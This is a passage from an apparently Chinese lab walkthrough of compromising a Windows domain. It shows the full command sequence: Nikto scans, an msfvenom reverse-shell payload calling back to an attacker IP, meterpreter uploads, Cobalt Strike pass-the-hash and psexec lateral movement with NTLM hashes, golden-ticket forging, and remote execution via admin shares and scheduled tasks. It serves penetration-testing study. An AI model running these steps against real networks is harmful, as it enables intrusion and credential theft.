- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.111.130 + Target Hostname: 192.168.111.130 + Target Port: 80 + Start Time: 2022-04-10 21:40:43 (GMT-4) --------------------------------------------------------------------------- + Server: Microsoft-IIS/7.5 + Retrieved x-powered-by header: ASP.NET + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Retrieved x-aspnet-version header: 2.0.50727 + No CGI Directories found (use '-C all' to force check all possible dirs) + Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST + Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + 7915 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2022-04-10 21:41:02 (GMT-4) (19 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
然而Weblogic没扫出来啥结果：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.111.130 + Target Hostname: 192.168.111.130 + Target Port: 7001 + Start Time: 2022-04-10 21:42:17 (GMT-4) --------------------------------------------------------------------------- + Server: No banner retrieved + Retrieved x-powered-by header: Servlet/2.5 JSP/2.1 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + ERROR: Error limit (20) reached for host, giving up. Last error: + Scan terminated: 0 error(s) and 4 item(s) reported on remote host + End Time: 2022-04-10 21:42:17 (GMT-4) (0 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lport=9999 lhost=10.10.10.80 -f exe > artifact.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 354 bytes Final size of exe file: 73802 bytes
meterpreter > upload /home/kali/artifact.exe C:/artifact.exe [*] uploading : /home/kali/artifact.exe -> C:/artifact.exe [*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/kali/artifact.exe -> C:/artifact.exe [*] uploaded : /home/kali/artifact.exe -> C:/artifact.exe meterpreter > shell Process 2624 created. Channel 4 created. Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
beacon> rev2self [*] Tasked beacon to revert token beacon> pth de1ay\Administrator 161cff084477fe596a5db81874498a24 [*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:de1ay /ntlm:161cff084477fe596a5db81874498a24 /run:"%COMSPEC% /c echo 222098cb4f2 > \\.\pipe\6c077a" command beacon> jump psexec PC Jumper [*] Tasked beacon to run windows/beacon_reverse_tcp (10.10.10.80:14234) on PC via Service Control Manager (\\PC\ADMIN$\710e349.exe) [+] host called home, sent: 1036523 bytes [+] Impersonated NT AUTHORITY\SYSTEM [-] Could not start service 710e349 on PC: 299 [+] received output: user : Administrator domain : de1ay program : C:\Windows\system32\cmd.exe /c echo 222098cb4f2 > \\.\pipe\6c077a impers. : no NTLM : 161cff084477fe596a5db81874498a24 | PID 3656 | TID 3468 | LSA Process is now R/W | LUID 0 ; 3662164 (00000000:0037e154) \_ msv1_0 - data copy @ 00000000019BF0C0 : OK ! \_ kerberos - data copy @ 0000000000BF8D18 \_ aes256_hmac -> null \_ aes128_hmac -> null \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace @ 0000000000BD8588 (16) -> null
然后打开PC才发现：
360YYDS。
再来一波MSF看看：
然后：
360真的是太强了。
黄金票据上传木马执行拿PC
由于前面拿到了黄金票据，直接在CS中使用黄金票据拿PC时：
和前面的一样，看来360是过不去了。。。
没有关系，上MSF手动开搞。
创建黄金票据并载入：
1 2 3 4 5 6
meterpreter > golden_ticket_create -u administrator -d de1ay.com -s S-1-5-21-2756371121-2868759905-3 853650604-502 -k 82dfc71b72a11ef37d663047bc2088fb -t /home/kali/gold.ticket [+] Golden Kerberos ticket written to /home/kali/gold.ticket meterpreter > kerberos_ticket_use /home/kali/gold.ticket [*] Using Kerberos ticket stored in /home/kali/gold.ticket, 1840 bytes ... [+] Kerberos ticket applied successfully.
所以后面的502到底是要还是不要呢？前面也试过不要502的，也可以，要也可以。
创建一个映射：
1 2 3
C:\Oracle\Middleware\user_projects\domains\base_domain>net use X: \\pc\c$ net use X: \\pc\c$ The command completed successfully.
C:\Oracle\Middleware\user_projects\domains\base_domain>net use \\pc\ipc$ net use \\pc\ipc$ The command completed successfully.
居然成功了，定时任务执行：
1 2 3
C:\Oracle\Middleware\user_projects\domains\base_domain>at \\pc 15:23:00 cmd.exe /c "start C:\\msf.exe" at \\pc 15:23:00 cmd.exe /c "start C:\\msf.exe" Added a new job with job ID = 1
